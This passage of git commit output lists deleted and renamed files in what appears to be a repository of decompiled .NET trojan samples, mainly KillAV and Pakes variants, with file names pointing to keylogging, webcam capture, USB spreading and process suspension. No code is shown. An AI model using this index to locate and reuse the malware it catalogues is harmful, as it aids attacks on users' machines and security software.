MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/Dvd/OptIDvdCmd.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/FilterCategory.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/FilterInfo.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/FindDirection.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/FormatType.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IAMAudioInputMixer.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IAMCollection.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IAMCopyCaptureFileProgress.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IAMCrossbar.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IAMStreamConfig.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IAMTVTuner.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IAMTuner.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IAMTunerNotification.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IAMVfwCompressDialogs.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IBaseFilter.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IBasicAudio.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IBasicVideo2.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/ICaptureGraphBuilder2.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IEnumFilters.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IEnumPins.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IFileSinkFilter.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IFileSinkFilter2.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IFilterGraph.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IGraphBuilder.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IMediaControl.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IMediaEvent.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IMediaEventEx.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IMediaFilter.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IMediaPosition.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IMediaSample.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IMediaSeeking.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IPersist.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IPersistStream.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IPin.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IReferenceClock.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/ISampleGrabber.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/ISampleGrabberCB.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/ISpecifyPropertyPages.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IVMRFilterConfig.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IVMRFilterConfig9.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IVMRWindowlessControl.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IVMRWindowlessControl9.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IVideoFrameStep.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/IVideoWindow.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/MediaSubType.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/MediaType.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/PhysicalConnectorType.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/PinCategory.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/PinDirection.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/PinInfo.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/RECT.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/SeekingCapabilities.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/SeekingFlags.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/TunerInputType.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/VMR9AspectRatioMode.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/VMRMode.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/VMRMode9.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/VfwCompressDialogs.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/VideoInfoHeader.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/VideoInfoHeader2.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/VideoStreamConfigCaps.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DShowNET/WaveFormatEx.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DirectX/Capture/AudioCapabilities.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DirectX/Capture/AudioSource.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DirectX/Capture/Capture.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DirectX/Capture/Capture.resx delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DirectX/Capture/CrossbarSource.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DirectX/Capture/DeviceInUseException.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DirectX/Capture/DirectShowPropertyPage.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DirectX/Capture/Filter.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DirectX/Capture/FilterCollection.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DirectX/Capture/Filters.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DirectX/Capture/PropertyPage.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DirectX/Capture/PropertyPageCollection.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DirectX/Capture/Source.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DirectX/Capture/SourceCollection.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DirectX/Capture/Tuner.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DirectX/Capture/TunerInputType.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DirectX/Capture/VfwCompressorPropertyPage.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/DirectX/Capture/VideoCapabilities.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/Trojan.MSIL.KillAV.ao.csproj delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/Trojan.MSIL.KillAV.ao.sln delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/A.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/API.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/B.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/B.resx delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/C.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/Cam.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/Delegates/T/T.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/FLD.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/IND.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/My/MyApplication.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/My/MyComputer.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/My/MyProject.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/My/MySettings.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/My/MySettingsProperty.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/My/Resources/Resources.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/NK.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/NTSuspendProcess.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/Resources.resx delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/SocketsClient.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/USB.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/chat.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/chat.resx delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/keyboard.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.ao-937fd99ab6df975f8ace26b4ce6ead21ae41a82f170fbe18646720cacc517e69/n/sc.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.b-f9eb2db999ccedd1fdab5bdfb8f8b088af33de08b58f20da831957f748f3a9a2/AssemblyInfo.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.b-f9eb2db999ccedd1fdab5bdfb8f8b088af33de08b58f20da831957f748f3a9a2/Form1.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.b-f9eb2db999ccedd1fdab5bdfb8f8b088af33de08b58f20da831957f748f3a9a2/Program.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.b-f9eb2db999ccedd1fdab5bdfb8f8b088af33de08b58f20da831957f748f3a9a2/Properties/Resources.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.b-f9eb2db999ccedd1fdab5bdfb8f8b088af33de08b58f20da831957f748f3a9a2/Properties/Resources.resx delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.b-f9eb2db999ccedd1fdab5bdfb8f8b088af33de08b58f20da831957f748f3a9a2/Properties/Settings.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.b-f9eb2db999ccedd1fdab5bdfb8f8b088af33de08b58f20da831957f748f3a9a2/Trojan.MSIL.KillAV.b.csproj delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.b-f9eb2db999ccedd1fdab5bdfb8f8b088af33de08b58f20da831957f748f3a9a2/Trojan.MSIL.KillAV.b.sln delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.t-7584d91fa56c7103e48160f5ceee3cddf32dd32d28ba2742af5d0745846f5e04/AssemblyInfo.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.t-7584d91fa56c7103e48160f5ceee3cddf32dd32d28ba2742af5d0745846f5e04/Form1.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.t-7584d91fa56c7103e48160f5ceee3cddf32dd32d28ba2742af5d0745846f5e04/Form1.resx delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.t-7584d91fa56c7103e48160f5ceee3cddf32dd32d28ba2742af5d0745846f5e04/Program.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.t-7584d91fa56c7103e48160f5ceee3cddf32dd32d28ba2742af5d0745846f5e04/Properties/Resources.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.t-7584d91fa56c7103e48160f5ceee3cddf32dd32d28ba2742af5d0745846f5e04/Properties/Resources.resx delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.t-7584d91fa56c7103e48160f5ceee3cddf32dd32d28ba2742af5d0745846f5e04/Properties/Settings.cs delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.t-7584d91fa56c7103e48160f5ceee3cddf32dd32d28ba2742af5d0745846f5e04/Trojan.MSIL.KillAV.t.csproj delete mode 100644 MSIL/Trojan/MSIL/K/Trojan.MSIL.KillAV.t-7584d91fa56c7103e48160f5ceee3cddf32dd32d28ba2742af5d0745846f5e04/Trojan.MSIL.KillAV.t.sln delete mode 100644 MSIL/Trojan/MSIL/P/Trojan.MSIL.Pakes.dp-503e1a67612f5abe48d156e2a755973bc1e031ba5e6cfe9f737c7a48deb29be4/AssemblyInfo.cs rename MSIL/Trojan/MSIL/P/{Trojan.MSIL.Pakes.ap-f4471ee56906b80e4b69c7226be029e97a72b82baf0a9ad0f294d21342e36f9a => Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.ap}/AssemblyInfo.cs (100%) rename MSIL/Trojan/MSIL/P/{Trojan.MSIL.Pakes.ap-f4471ee56906b80e4b69c7226be029e97a72b82baf0a9ad0f294d21342e36f9a => Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.ap}/FxSÙÉÚßsÞÝWÆCipgùÔOßråÞÒg.cs (100%) rename MSIL/Trojan/MSIL/P/{Trojan.MSIL.Pakes.ap-f4471ee56906b80e4b69c7226be029e97a72b82baf0a9ad0f294d21342e36f9a => Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.ap}/My/MyApplication.cs (100%) rename MSIL/Trojan/MSIL/P/{Trojan.MSIL.Pakes.ap-f4471ee56906b80e4b69c7226be029e97a72b82baf0a9ad0f294d21342e36f9a => Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.ap}/My/MyComputer.cs (100%) rename MSIL/Trojan/MSIL/P/{Trojan.MSIL.Pakes.ap-f4471ee56906b80e4b69c7226be029e97a72b82baf0a9ad0f294d21342e36f9a => Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.ap}/My/MyProject.cs (100%) rename MSIL/Trojan/MSIL/P/{Trojan.MSIL.Pakes.ap-f4471ee56906b80e4b69c7226be029e97a72b82baf0a9ad0f294d21342e36f9a => Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.ap}/OPEtRNjGrHNcOTxRFUpKCVkZr.resx (100%) rename MSIL/Trojan/MSIL/P/{Trojan.MSIL.Pakes.ap-f4471ee56906b80e4b69c7226be029e97a72b82baf0a9ad0f294d21342e36f9a => Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.ap}/Trojan.MSIL.Pakes.ap.csproj (100%) rename MSIL/Trojan/MSIL/P/{Trojan.MSIL.Pakes.ap-f4471ee56906b80e4b69c7226be029e97a72b82baf0a9ad0f294d21342e36f9a => Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.ap}/Trojan.MSIL.Pakes.ap.sln (100%) rename MSIL/Trojan/MSIL/P/{Trojan.MSIL.Pakes.ap-f4471ee56906b80e4b69c7226be029e97a72b82baf0a9ad0f294d21342e36f9a => Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.ap}/gZyQgvIuiwnkbwcosoPFhOUHu.cs (100%) rename MSIL/Trojan/MSIL/P/{Trojan.MSIL.Pakes.ap-f4471ee56906b80e4b69c7226be029e97a72b82baf0a9ad0f294d21342e36f9a => Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.ap}/gÑøçoGñðÝ6ÙÛïàÇNÌwÒËê5ÎÕÍ.cs (100%) rename MSIL/Trojan/MSIL/P/{Trojan.MSIL.Pakes.ap-f4471ee56906b80e4b69c7226be029e97a72b82baf0a9ad0f294d21342e36f9a => Trojan.MSIL.Pakes/Trojan.MSIL.Pakes.ap}/èóÒÒÆsÝnËÓPÛ8ÏT9DÚÖïàsaáf.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.aq-b4490e288f98bd084797e54bb3a2293bff644bdecabcebf1a6f4cb7a91e2c136/AssemblyInfo.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.aq-b4490e288f98bd084797e54bb3a2293bff644bdecabcebf1a6f4cb7a91e2c136/MyApplication.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.aq-b4490e288f98bd084797e54bb3a2293bff644bdecabcebf1a6f4cb7a91e2c136/MyComputer.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.aq-b4490e288f98bd084797e54bb3a2293bff644bdecabcebf1a6f4cb7a91e2c136/MyProject.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.aq-b4490e288f98bd084797e54bb3a2293bff644bdecabcebf1a6f4cb7a91e2c136/Trojan.MSIL.Pakes.aq.csproj (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.aq-b4490e288f98bd084797e54bb3a2293bff644bdecabcebf1a6f4cb7a91e2c136/Trojan.MSIL.Pakes.aq.sln (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.aq-b4490e288f98bd084797e54bb3a2293bff644bdecabcebf1a6f4cb7a91e2c136/Ujdnd7sjD9ad.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.aq-b4490e288f98bd084797e54bb3a2293bff644bdecabcebf1a6f4cb7a91e2c136/zvkFulzKssfStPc.cs (100%) rename MSIL/Trojan/MSIL/P/{ => Trojan.MSIL.Pakes}/Trojan.MSIL.Pakes.ar-10b13be0906d9530b2828a7f818438304a086da63cba668d4c9c3f12694c8154/AssemblyInfo.cs (100%) rename 